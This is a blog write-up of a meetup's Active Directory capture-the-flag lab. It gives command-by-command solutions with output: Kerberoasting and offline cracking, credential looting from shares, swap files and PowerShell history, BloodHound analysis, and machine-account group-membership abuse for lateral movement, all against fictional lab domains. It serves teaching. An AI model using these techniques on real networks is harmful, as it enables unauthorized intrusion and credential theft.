Last weekend, we partnered with The Range Village and Div0 to host an Active Directory lab as part of their September Meetup. The event was a great success, with close to 40 participants joining us for an evening of learning and fun!
This blog post provides an overview of the lab, including the challenges, statistics, and solutions for each flag. There are multiple solutions for some of the flags, so if you have done the lab - do look out for the alternative methods covered in this post!
The lab was designed to simulate a real-world Active Directory environment, while also being beginner-friendly. There were a total of 8 flags, across 4 machines and 2 domains, with a mix of easy and challenging flags to cater to participants of all skill levels. The lab was structured to encourage collaboration and teamwork, with participants working together to solve the challenges and capture the flags.
The lab featured 2 domains: antennae.rv
and backward.rv
- and 4 machines: dc01.antennae.rv
, sql01.antennae.rv
, dc02.backward.rv
and srv01.backward.rv
. The following credentials were provided to all participants at the start of the event to simulate an assumed breach scenario:
User: [email protected]
Password: BZCJsopuOPgH
A total of 26 participants captured at least one flag, with only one person successfully completing the entire lab by capturing all 8 flags. The Silver
challenge proved to be the most difficult, showing a sharp decline in solves - from 12 for the Historical Scar
challenge down to just 4 for Silver
.
Overall, the lab was a great success, with participants enjoying the challenges and learning new skills. The feedback received was overwhelmingly positive, with many participants expressing their appreciation for the opportunity to learn and collaborate in a supportive environment. We would like to extend our gratitude to Div0 and Range Village for hosting the event, and we look forward to sponsoring more events in the future!
Using the given credentials for [email protected]
, we can start by enumerating the antennae.rv
domain and identifying users with Service Principal Names (SPNs) set.
We can achieve this using an LDAP
query with NetExec’s LDAP
flag, we’ll find a couple of users with SPNs set:
~$ nxc ldap dc01.antennae.rv -u 'chloe.lim' -p 'BZCJsopuOPgH' --query "(&(objectClass=user)(servicePrincipalName=*))" "samAccountName servicePrincipalName"
LDAP 10.5.10.10 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:antennae.rv) (signing:None) (channel binding:No TLS cert)
LDAP 10.5.10.10 389 DC01 [+] antennae.rv\chloe.lim:BZCJsopuOPgH
LDAP 10.5.10.10 389 DC01 [+] Response for object: CN=svc_vdi,CN=Users,DC=antennae,DC=rv
LDAP 10.5.10.10 389 DC01 sAMAccountName svc_vdi
LDAP 10.5.10.10 389 DC01 servicePrincipalName HORIZON/VirtualDesktop
LDAP 10.5.10.10 389 DC01 TERMSRV/vdi.antennae.rv
LDAP 10.5.10.10 389 DC01 HTTPS/vdi.antennae.rv
LDAP 10.5.10.10 389 DC01 HORIZON/vdi
LDAP 10.5.10.10 389 DC01 HORIZON/vdi.antennae.rv
LDAP 10.5.10.10 389 DC01 [+] Response for object: CN=svc_sql,CN=Users,DC=antennae,DC=rv
LDAP 10.5.10.10 389 DC01 sAMAccountName svc_sql
LDAP 10.5.10.10 389 DC01 servicePrincipalName MSSQLSvc/sql01.antennae.rv:1433
LDAP 10.5.10.10 389 DC01 MSSQLSvc/sql01.antennae.rv
The servicePrincipalName
format generally follows the pattern of service/hostname:port
or service/hostname
, indicating the service type and the host it is associated with. In this case, we have two users with SPNs set: svc_vdi
and svc_sql
. Based on the SPNs, we can infer that svc_vdi
is likely associated with a Virtual Desktop Infrastructure (VDI) service running on vdi.antennae.rv
, while svc_sql
is associated with a Microsoft SQL Server service running on sql01.antennae.rv
on the default SQL port 1433
.
We can perform a Kerberoasting attack on either of these users to obtain an encrypted service ticket for their respective services. These tickets will be encrypted with the service account’s password, which we can then attempt to crack offline.
Kerberoasting is not inherently malicious, requesting service tickets for services is an integral part of Kerberos. This technique only becomes lucrative when the service account is using a weak password.
We can request service tickets for both users using NetExec, and write the output to a file called service_tickets.txt
:
~$ nxc ldap dc01.antennae.rv -u 'chloe.lim' -p 'BZCJsopuOPgH' --kerberoasting service_tickets.txt
LDAP 10.5.10.10 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:antennae.rv) (signing:None) (channel binding:No TLS cert)
LDAP 10.5.10.10 389 DC01 [+] antennae.rv\chloe.lim:BZCJsopuOPgH
LDAP 10.5.10.10 389 DC01 [*] Skipping disabled account: krbtgt
LDAP 10.5.10.10 389 DC01 [*] Total of records returned 2
LDAP 10.5.10.10 389 DC01 [*] sAMAccountName: svc_vdi, memberOf: CN=Service Accounts,CN=Users,DC=antennae,DC=rv, pwdLastSet: 2025-08-28 15:16:57.992825, lastLogon: 2025-08-28 15:17:30.758637
LDAP 10.5.10.10 389 DC01 $krb5tgs$23$*svc_vdi$ANTENNAE.RV$antennae.rv\svc_vdi*$1b38c1a87120eefcd7717394fbb96d[....snip...]dc5aa8d0085bbebc39e64c248495570f61b5e1a157
LDAP 10.5.10.10 389 DC01 [*] sAMAccountName: svc_sql, memberOf: CN=Service Accounts,CN=Users,DC=antennae,DC=rv, pwdLastSet: 2025-08-28 15:16:58.149076, lastLogon: 2025-08-30 07:37:42.373093
LDAP 10.5.10.10 389 DC01 $krb5tgs$23$*svc_sql$ANTENNAE.RV$antennae.rv\svc_sql*$a66fad26fc10f1372475[...snip...]0eace690f78af8994cc2d7338f0bbc79ee152ab5cb6
Next, we can attempt to crack these service tickets using John the Ripper with the rockyou.txt wordlist.
~$ john --wordlist=/usr/share/wordlists/rockyou.txt service_tickets.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tr4v15 (?)
We get a hit on one of the service tickets, after trying the password for both svc_vdi
and svc_sql
, we find that the cracked password tr4v15
belongs to the svc_vdi
account.
~$ nxc ldap dc01.antennae.rv -u 'svc_vdi' -p 'tr4v15'
LDAP 10.5.10.10 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:antennae.rv) (signing:None) (channel binding:No TLS cert)
LDAP 10.5.10.10 389 DC01 [+] antennae.rv\svc_vdi:tr4v15
We can explicitly request a service ticket for TERMSRV/vdi.antennae.rv
using kinit
and kvno
, which are part of the Kerberos suite of tools. Firstly, we need to grab a Ticket Granting Ticket (TGT)
for chloe.lim
using kinit
:
~$ echo 'BZCJsopuOPgH' | kinit 'chloe.lim'@ANTENNAE.RV
Password for [email protected]:
~$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: [email protected]
Valid starting Expires Service principal
09/07/2025 08:45:27 09/07/2025 18:45:27 krbtgt/[email protected]
renew until 09/08/2025 08:45:27
We can then use kvno
to request a service ticket for TERMSRV/vdi.antennae.rv
, which will be added to our existing ticket cache:
~$ kvno TERMSRV/vdi.antennae.rv
TERMSRV/[email protected]: kvno = 2
~$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: [email protected]
Valid starting Expires Service principal
09/07/2025 08:45:27 09/07/2025 18:45:27 krbtgt/[email protected]
renew until 09/08/2025 08:45:27
09/07/2025 08:46:21 09/07/2025 18:45:27 TERMSRV/[email protected]
renew until 09/08/2025 08:45:27
In order to extract the service ticket from our ticket cache, we can use describeTicket.py
from the Impacket toolkit which exposes the kerberoast_from_ccache
functionality:
# https://github.com/fortra/impacket/blob/master/examples/describeTicket.py#L684
def kerberoast_from_ccache(decodedTGS, spn, username, domain):
...
if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
constants.EncryptionTypes.rc4_hmac.value, username, domain, spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
In this case, the enc-part->cipher
field contains the service ticket which is encrypted with the service account’s password. We can run describeTicket.py
and pipe the output to john
for cracking.
If you want to learn more about how Kerberos works, check out our public preview of our W200 course.
~$ describeTicket.py /tmp/krb5cc_1000
Impacket v0.13.0.dev0+20250813.95021.3e63dae - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 2
[*] Parsing credential[0]:
[*] Ticket Session Key : c6a42e5645c02296b49b5e3b26610ce07537f383ba7e26066d28c4f8af03e7f3
[*] User Name : chloe.lim
[*] User Realm : ANTENNAE.RV
[*] Service Name : krbtgt/ANTENNAE.RV
[*] Service Realm : ANTENNAE.RV
[*] Start Time : 07/09/2025 08:45:27 AM
[*] End Time : 07/09/2025 18:45:27 PM
[*] RenewTill : 08/09/2025 08:45:27 AM
[*] Flags : (0xe10000) renewable, initial, pre_authent, enc_pa_rep
[*] KeyType : aes256_cts_hmac_sha1_96
[*] Base64(key) : xqQuVkXAIpa0m147JmEM4HU384O6fiYGbSjE+K8D5/M=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : krbtgt/ANTENNAE.RV
[*] Service Realm : ANTENNAE.RV
[*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
[*] Parsing credential[0]:
[*] Ticket Session Key : 9ee0acdda8247fecc421ed5751706835
[*] User Name : chloe.lim
[*] User Realm : ANTENNAE.RV
[*] Service Name : TERMSRV/vdi.antennae.rv
[*] Service Realm : ANTENNAE.RV
[*] Start Time : 07/09/2025 08:46:21 AM
[*] End Time : 07/09/2025 18:45:27 PM
[*] RenewTill : 08/09/2025 08:45:27 AM
[*] Flags : (0xa10000) renewable, pre_authent, enc_pa_rep
[*] KeyType : rc4_hmac
[*] Base64(key) : nuCs3agkf+zEIe1XUXBoNQ==
[*] Kerberoast hash : $krb5tgs$23$*USER$ANTENNAE.RV$TERMSRV/vdi.antennae.rv*$f7a2c6216c08a17845806011049566b3$5[...snip...]0b6146b1e037b0fc3f81037ccc0260dd022ab44d39351b95027b1a57f400bb7f536a14a96e3e74e94ba
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : TERMSRV/vdi.antennae.rv
[*] Service Realm : ANTENNAE.RV
[*] Encryption type : rc4_hmac (etype 23)
[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied
This “Kerberoast hash” can then be piped to john
, like we did before, to crack the password.
~$ describeTicket.py /tmp/krb5cc_1000 | grep 'Kerberoast hash' | awk '{print $5}' | tee service_tickets.txt
~$ john --wordlist=/usr/share/wordlists/rockyou.txt service_tickets.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tr4v15 (?)
1g 0:00:00:01 DONE (2025-09-07 08:55) 0.8474g/s 2630Kp/s 2630Kc/s 2630KC/s trabajadorasocial24..tr0ydawn
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Some tools may attempt to downgrade the encryption type of the service ticket to
rc4_hmac
which may be a point of detection. Usingkinit
andkvno
ensures that the service ticket is requested with the service account’s actual encryption type. See: The Art of Detecting Kerberoast Attacaks.
Another way of obtaining the credentials for svc_vdi
is through enumeration of the backward.rv
domain, which has a two-way trust relationship with the antennae.rv
domain.
We can identify this trust relationship by querying the dc01.antennae.rv
domain controller for its trusted domains:
~$ nxc ldap dc01.antennae.rv -u 'chloe.lim' -p 'BZCJsopuOPgH' --query "(objectClass=trustedDomain)" "cn flatName trustDirection trustType"
LDAP 10.5.10.10 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:antennae.rv) (signing:None) (channel binding:No TLS cert)
LDAP 10.5.10.10 389 DC01 [+] antennae.rv\chloe.lim:BZCJsopuOPgH
LDAP 10.5.10.10 389 DC01 [+] Response for object: CN=backward.rv,CN=System,DC=antennae,DC=rv
LDAP 10.5.10.10 389 DC01 cn backward.rv
LDAP 10.5.10.10 389 DC01 trustDirection 3
LDAP 10.5.10.10 389 DC01 trustType 2
LDAP 10.5.10.10 389 DC01 flatName backward
The trustDirection
attribute indicates the direction of the trust relationship:
1
: One-way incoming trust2
: One-way outgoing trust3
: Two-way trustThe presence of a trustDirection
value of 3
confirms that there is a two-way trust relationship between the antennae.rv
and backward.rv
domains - this means that users from either domain can access resources in the other domain.
We can verify this by attempting to authenticate to the backward.rv
domain controller dc02.backward.rv
using the credentials for [email protected]
~$ nxc ldap dc02.backward.rv -u 'chloe.lim' -p 'BZCJsopuOPgH' -d 'antennae.rv'
LDAP 10.5.10.12 389 DC02 [*] Windows Server 2022 Build 20348 (name:DC02) (domain:antennae.rv) (signing:None) (channel binding:Never)
LDAP 10.5.10.12 389 DC02 [+] antennae.rv\chloe.lim:BZCJsopuOPgH
With this trust relationship in place, we can enumerate the backward.rv
domain for open and accessible shares. We’ll find that on the srv01.backward.rv
machine, we have access to the antennae.rv
and Public
shares.
~$ nxc smb srv01.backward.rv -u 'chloe.lim' -p 'BZCJsopuOPgH' -d 'antennae.rv' --shares
SMB 10.5.10.13 445 SRV01 [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:backward.rv) (signing:True) (SMBv1:False)
SMB 10.5.10.13 445 SRV01 [+] antennae.rv\chloe.lim:BZCJsopuOPgH
SMB 10.5.10.13 445 SRV01 [*] Enumerated shares
SMB 10.5.10.13 445 SRV01 Share Permissions Remark
SMB 10.5.10.13 445 SRV01 ----- ----------- ------
SMB 10.5.10.13 445 SRV01 ADMIN$ Remote Admin
SMB 10.5.10.13 445 SRV01 antennae.rv READ Shared folder for users in antennae.rv
SMB 10.5.10.13 445 SRV01 backward.rv Shared folder for users in backward.rv
SMB 10.5.10.13 445 SRV01 C$ Default share
SMB 10.5.10.13 445 SRV01 IPC$ READ Remote IPC
SMB 10.5.10.13 445 SRV01 Public READ,WRITE Shared folder for users in both antennae.rv and backward.rv
We can loot the Public
share, and find a file called note.txt
that contains the credentials for the svc_vdi
account:
~$ smbclient.py 'chloe.lim':'BZCJsopuOPgH'@srv01.backward.rv
Impacket v0.13.0.dev0+20250813.95021.3e63dae - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use Public
# ls
drw-rw-rw- 0 Sun Sep 7 09:03:04 2025 .
drw-rw-rw- 0 Sat Aug 30 04:36:43 2025 ..
-rw-rw-rw- 0 Sat Aug 30 04:36:19 2025 .empty
-rw-rw-rw- 181 Sat Aug 30 04:36:19 2025 note.txt
-rw-rw-rw- 21 Sat Aug 30 04:36:19 2025 README.md
# cat note.txt
@Jolene, here are the creds for svc_vdi as you asked for earlier.
Not sure why you need them anymore cuz our VDI project got canned last week, but whatever.
svc_vdi
tr4v15
After obtaining access to svc_vdi
, we can use these credentials to re-enumerate shares on dc01.antennae.rv
to look for any interesting files. We’ll find that we have read access to the service-home
share.
~$ nxc smb dc01.antennae.rv -u 'svc_vdi' -p 'tr4v15' --shares
SMB 10.5.10.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:antennae.rv) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.5.10.10 445 DC01 [+] antennae.rv\svc_vdi:tr4v15
SMB 10.5.10.10 445 DC01 [*] Enumerated shares
SMB 10.5.10.10 445 DC01 Share Permissions Remark
SMB 10.5.10.10 445 DC01 ----- ----------- ------
SMB 10.5.10.10 445 DC01 ADMIN$ Remote Admin
SMB 10.5.10.10 445 DC01 C$ Default share
SMB 10.5.10.10 445 DC01 IPC$ READ Remote IPC
SMB 10.5.10.10 445 DC01 NETLOGON READ Logon server share
SMB 10.5.10.10 445 DC01 service-home READ Shared folder for services provisioned in antennae.rv
SMB 10.5.10.10 445 DC01 SYSVOL READ Logon server share
In this share, we’ll find flag1.txt
which contains the first flag:
~$ smbclient.py 'svc_vdi':'tr4v15'@dc01.antennae.rv
Impacket v0.13.0.dev0+20250813.95021.3e63dae - Copyright Fortra, LLC and its affiliated companies
uType help for list of commands
# use service-home
# ls
drw-rw-rw- 0 Sat Aug 30 08:15:51 2025 .
drw-rw-rw- 0 Sat Aug 30 04:36:57 2025 ..
-rw-rw-rw- 78 Sat Aug 30 04:37:04 2025 .env.sample.horizon
-rw-rw-rw- 12289 Sat Aug 30 04:37:04 2025 .env.swp
-rw-rw-rw- 1284 Sat Aug 30 04:37:04 2025 Connect-Horizon.ps1
-rw-rw-rw- 925 Sat Aug 30 04:37:04 2025 Deploy-DesktopPool.ps1
-rw-rw-rw- 62 Sat Aug 30 08:15:51 2025 flag1.txt
# cat flag1.txt
RV{roAStIn6_1IkE_n0_7OMOrroW_e8cac89a3efd99b6c843857ac8faa276}
#
Based on the description of the challenge, we’ll know that the next flag requires us to obtain local access to the sql01.antennae.rv
machine. This need not be administrative access, as it is mentioned that the flag can be read by all local users.
In the service-home
share, we find a .env.swp
file, which is a Vim swap file. A quick google search reveals that: Swap files store changes you've made to the buffer. If Vim or your computer crashes, they allow you to recover those changes.
. You may also find that after opening a file in vim
, a .<filename>.swp
file is created in the same directory.
We can “recover” the contents of this swap file using the vim -r
command, and find that it contains credentials for the jolene.ong
user.
~$ vim -r .env.swp
:w .env.swp.recv
~$ cat .env.swp.recv
HORIZON_SERVER=broker.antennae.rv
HORIZON_USER=jolene.ong
HORIZON_PASS=BoXALrqvqPd3
We can verify that these credentials are valid by attempting to authenticate to the antennae.rv
domain controller dc01.antennae.rv
:
~$ nxc ldap dc01.antennae.rv -u 'jolene.ong' -p 'BoXALrqvqPd3'
LDAP 10.5.10.10 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:antennae.rv) (signing:None) (channel binding:No TLS cert)
LDAP 10.5.10.10 389 DC01 [+] antennae.rv\jolene.ong:BoXALrqvqPd3
At this point, we can run a bloodhound collector to begin mapping out the Active Directory environment. We can use bloodhound-ce-python for this.
Note that this could have been done earlier as well, but was not necessary for capturing the first flag.
~$ bloodhound-ce-python -u 'jolene.ong' -p 'BoXALrqvqPd3' -d 'antennae.rv' -c 'All' -ns '10.5.10.10' --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: antennae.rv
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.antennae.rv
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.antennae.rv
INFO: Found 22 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SQL01.antennae.rv
INFO: Querying computer: DC01.antennae.rv
INFO: Done in 00M 04S
INFO: Compressing output into 20250907091433_bloodhound.zip
Following the BloodHound Documentation, we can ingest the resulting zip
file into BloodHound
and begin analyzing the data.
Using BloodHound
’s path-finding feature, we can identify that jolene.ong
is a member of the Development
group which has some Access Control Entries (ACEs)
on the senior-developers
and intern-developers
group.
We can take the “easy” route and simply abuse both of these ACEs and add ourselves to both groups, which will ultimately lead us in the right direction. However, you may want to take a more methodical approach and identify which of these groups is more “privileged”.
Firstly, we can use jolene.ong
’s credentials to re-enumerate the open shares in sql01.antennae.rv
, and find that we have read access to the Tools
share.
~$ nxc smb sql01.antennae.rv -u 'jolene.ong' -p 'BoXALrqvqPd3' --shares
SMB 10.5.10.11 445 SQL01 [*] Windows Server 2022 Build 20348 x64 (name:SQL01) (domain:antennae.rv) (signing:True) (SMBv1:False)
SMB 10.5.10.11 445 SQL01 [+] antennae.rv\jolene.ong:BoXALrqvqPd3
SMB 10.5.10.11 445 SQL01 [*] Enumerated shares
SMB 10.5.10.11 445 SQL01 Share Permissions Remark
SMB 10.5.10.11 445 SQL01 ----- ----------- ------
SMB 10.5.10.11 445 SQL01 ADMIN$ Remote Admin
SMB 10.5.10.11 445 SQL01 C$ Default share
SMB 10.5.10.11 445 SQL01 IPC$ READ Remote IPC
SMB 10.5.10.11 445 SQL01 Tools READ Shared folder for tools
Inside the Tools
share, we find a file called test-connection.ps1
which contains a script that attempts to connect to the SSH
service on sql01.antennae.rv
:
~$ smbclient.py 'jolene.ong':'BoXALrqvqPd3'@sql01.antennae.rv
Impacket v0.13.0.dev0+20250813.95021.3e63dae - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use tools
# ls
drw-rw-rw- 0 Sat Aug 30 04:37:19 2025 .
drw-rw-rw- 0 Sat Aug 30 04:37:13 2025 ..
-rw-rw-rw- 854 Sat Aug 30 04:37:19 2025 test-connection.ps1
# cat test-connection.ps1
Import-Module Posh-SSH
$user = 'danish.hakim'
$host = 'sql01.antennae.rv'
$port = 22
$securePass = Read-Host "Enter SSH password for $user@$host" -AsSecureString
$creds = New-Object System.Management.Automation.PSCredential($user, $securePass)
try {
$session = New-SSHSession `
-ComputerName $host `
-Port $port `
-Credential $creds `
-AcceptKey:$true
if ($session -and $session.SessionId) {
$result = Invoke-SSHCommand -SessionId $session.SessionId -Command 'hostname'
$result.Output.Trim()
Remove-SSHSession -SessionId $session.SessionId | Out-Null
Write-Host "goodbye" -ForegroundColor Green
}
else {
Write-Host "err: failed to establish SSH session." -ForegroundColor Red
}
}
catch {
Write-Host "err: $($_.Exception.Message)" -ForegroundColor Red
}
#
In the script, we see that the danish.hakim
user seems to be the intended user for connecting to the SSH
service. On BloodHound
, we’ll find that the danish.hakim
user is a member of the senior-developers
group.
Based on this, we can reasonably conclude that the senior-developers
group may have SSH
access to sql01.antennae.rv
.
The GenericAll
privilege that jolene.ong
has on the senior-developers
group allows her to add herself to that group, but this may be disruptive and not an attack that you want to perform in a real-world scenario without proper authorization. Instead, we can use the MachineAccountQuota
to create a new computer account in the antennae.rv
domain, and then add that computer account to the senior-developers
group.
The MachineAccountQuota
value can be enumerated using the maq
module from nxc
:
~$ nxc ldap dc01.antennae.rv -u 'jolene.ong' -p 'BoXALrqvqPd3' -M maq
LDAP 10.5.10.10 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:antennae.rv) (signing:None) (channel binding:No TLS cert)
LDAP 10.5.10.10 389 DC01 [+] antennae.rv\jolene.ong:BoXALrqvqPd3
MAQ 10.5.10.10 389 DC01 [*] Getting the MachineAccountQuota
MAQ 10.5.10.10 389 DC01 MachineAccountQuota: 10
The default value for MachineAccountQuota
is 10
, which means that any authenticated user can create up to 10
computer accounts in the domain. We can use the nxc
tool to create a new computer account called gatari$
:
~$ nxc smb dc01.antennae.rv -u 'jolene.ong' -p 'BoXALrqvqPd3' -M add-computer -o NAME="gatari$" PASSWORD='P@ssw0rd'
SMB 10.5.10.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:antennae.rv) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.5.10.10 445 DC01 [+] antennae.rv\jolene.ong:BoXALrqvqPd3
ADD-COMP... 10.5.10.10 445 DC01 Successfully added the machine account: "gatari$" with Password: "P@ssw0rd"
This new computer account can then be used to authenticate to the antennae.rv
domain controller dc01.antennae.rv
:
~$ nxc ldap dc01.antennae.rv -u 'gatari$' -p 'P@ssw0rd'
LDAP 10.5.10.10 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:antennae.rv) (signing:None) (channel binding:No TLS cert)
LDAP 10.5.10.10 389 DC01 [+] antennae.rv\gatari$:P@ssw0rd
With this computer account added, we can now use jolene.ong
to add gatari$
to the senior-developers
group. The bloodyAD tool can be used for this purpose:
~$ bloodyAD --host 'dc01.antennae.rv' -u 'jolene.ong' -p 'BoXALrqvqPd3' add groupMember 'senior-developers' 'gatari$'
[+] gatari$ added to senior-developers
With this done, we can now authenticate to the SSH
service on sql01.antennae.rv
using the gatari$
computer account:
~$ nxc ssh sql01.antennae.rv -u 'gatari$' -p 'P@ssw0rd'
SSH 10.5.10.11 22 sql01.antennae.rv [*] SSH-2.0-OpenSSH_for_Windows_9.8 Win32-OpenSSH-GitHub
SSH 10.5.10.11 22 sql01.antennae.rv [+] gatari$:P@ssw0rd Windows - Shell access!
Do note that WinRM
or RDP
could have also been used instead of SSH
:
~$ nxc winrm sql01.antennae.rv -u 'gatari$' -p 'P@ssw0rd'
WINRM 10.5.10.11 5985 SQL01 [*] Windows Server 2022 Build 20348 (name:SQL01) (domain:antennae.rv)
WINRM 10.5.10.11 5985 SQL01 [+] antennae.rv\gatari$:P@ssw0rd (Pwn3d!)
~$ nxc rdp sql01.antennae.rv -u 'gatari$' -p 'P@ssw0rd'
RDP 10.5.10.11 3389 SQL01 [*] Windows 10 or Windows Server 2016 Build 20348 (name:SQL01) (domain:antennae.rv) (nla:True)
RDP 10.5.10.11 3389 SQL01 [+] antennae.rv\gatari$:P@ssw0rd
We can now connect to the sql01.antennae.rv
machine and read the flag2.txt
file:
~$ sshpass -p 'P@ssw0rd' ssh 'gatari$'@sql01.antennae.rv
PS C:\> cat flag2.txt
RV{d@ngER0US_4cc3$S_C0n7Rol_1!sts!_6daa59eff6fd00657e9fb802c0078a4c}
After obtaining local access to sql01.antennae.rv
, we can begin enumerating the machine for any interesting files or credentials. After some searching (or running tree /f /a
), we’ll find a file at C:\Users\Public\test.ps1
that contains credentials for wei.jie.tan
:
PS C:\Users> cat C:\Users\Public\test.ps1
$username = 'wei.jie.tan'
$password = 'klDCzcAiLGc2'
$securePass = ConvertTo-SecureString $password -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential($username, $securePass)
$scriptBlock = {
$targetFile = 'C:\temp.txt'
$timestamp = (Get-Date).ToString('yyyy-MM-dd HH:mm:ss')
"test => $timestamp" |
Out-File -FilePath $targetFile -Encoding UTF8 -Append
}
Start-Process -FilePath pwsh -ArgumentList '-NoProfile','-Command',(
[ScriptBlock]::Create($scriptBlock.ToString())
) -Credential $creds -Wait -WindowStyle Hidden
In BloodHound
, we’ll see that wei.jie.tan
is also a member of the senior-developers
group - which means that we can use this user to SSH
into sql01.antennae.rv
as well.
We can use these credentials to authenticate to the SSH
service on sql01.antennae.rv
, and grab the flag3.txt
file:
~$ sshpass -p 'klDCzcAiLGc2' ssh 'wei.jie.tan'@sql01.antennae.rv
PS C:\Users\wei.jie.tan\Desktop> cat flag3.txt
RV{lA7ERAl_m0vemenT_I5_a1SO_cOoL_3c69d6d47771c7d7671a5bf3c058e326}
After obtaining access to sql01.antennae.rv
, as wei.jie.tan
, we can find the path to the user’s PowerShell history file by running the following command.
PS C:\Users\wei.jie.tan\Desktop> (Get-PSReadlineOption).HistorySavePath
C:\Users\wei.jie.tan\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
This file will contain a history of all the PowerShell commands that wei.jie.tan
has executed. By examining this file, we can find the credentials of svc_sql
:
PS C:\Users\wei.jie.tan\Desktop> cat (Get-PSReadlineOption).HistorySavePath
whoami
cd c:\SQL
sqlcmd -S localhost -Q "SELECT @@VERSION" -b
RV{AUd!T1ng_pS_CAn_8e_d@N6eROUs_e29abbb4bda372844a294da95c0c9218}
sqlcmd -S localhost -U "svc_sql" -P "P@ssw0rd_f0r_SQL-antennae" -Q "SELECT @@VERSION;"
sqlcmd -S localhost -U "svc_sql" -P "P@ssw0rd_f0r_SQL-antennae" -Q "EXEC sp_helpdb;"
Get-Content (Get-PSReadlineOption).HistorySavePath
exit
cd Desktop
ls
cat flag3.txt
cat (Get-PSReadlineOption).HistorySavePath
(Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath
Additionally, we can also find the 4th flag in this file.
This flag was (as intended) found to be the most challenging, with only 3 participants solving it during the meetup. There are also a few different ways to solve this challenge, and we’ll be covering all of them here.
Earlier, we found that the svc_sql
user possess the following SPN: MSSQLSvc/sql01.antennae.rv
. This means that the user provisions the MSSQL
service on sql01.antennae.rv
.
For the sake of demonstration, we can connect to the MSSQL
service on sql01.antennae.rv
using any domain user - for example chloe.lim
:
~$ nxc mssql sql01.antennae.rv -u 'chloe.lim' -p 'BZCJsopuOPgH'
MSSQL 10.5.10.11 1433 SQL01 [*] Windows Server 2022 Build 20348 (name:SQL01) (domain:antennae.rv)
MSSQL 10.5.10.11 1433 SQL01 [+] antennae.rv\chloe.lim:BZCJsopuOPgH
We can also use mssqlclient.py
from Impacket to connect to the MSSQL
service:
~$ mssqlclient.py 'chloe.lim':'BZCJsopuOPgH'@sql01.antennae.rv -windows-auth
Impacket v0.13.0.dev0+20250813.95021.3e63dae - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01): Line 1: Changed database context to 'master'.
[*] INFO(SQL01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (antennae\chloe.lim guest@master)>
The following parts will do an unnecessarily deep-dive into Kerberos
, if you’re already familiar with it or simply don’t care, feel free to skip ahead to #forging-tickets
This portion is going to be a mini-deep-dive into how Kerberos works, since I realized that of the 3 participants who solved this challenge, none of them actually understood how it worked. Additionally, this knowledge is useful for understanding Kerberos in general, and can be applied to other scenarios as well.
Earlier we demonstrated connecting to the MSSQL
service using chloe.lim
’s credentials. By default, NTLM
authentication is used. This can be seen from the source code of mssqlclient.py
:
See NTLMSSP_CHALLENGE for more details on the
NTLMSSP_CHALLENGE
structure. Additionally, I heavily recommend that you read this blog post to have a fundamental understanding of Kerberos.
# https://github.com/fortra/impacket/blob/master/impacket/tds.py#L993
def login(self, database, username, password='', domain='', hashes = None, useWindowsAuth = False):
[...snip...]
if useWindowsAuth is True:
login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON
auth = ntlm.getNTLMSSPType1('', '', use_ntlmv2=True, version=self.version)
login['SSPI'] = auth.getData()
if useWindowsAuth is True:
# Each TDS packet has a header so we extract the NTLMSSP_CHALLENGE from it
serverChallenge = tds['Data'][3:]
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786
However, we can force the use of the Kerberos
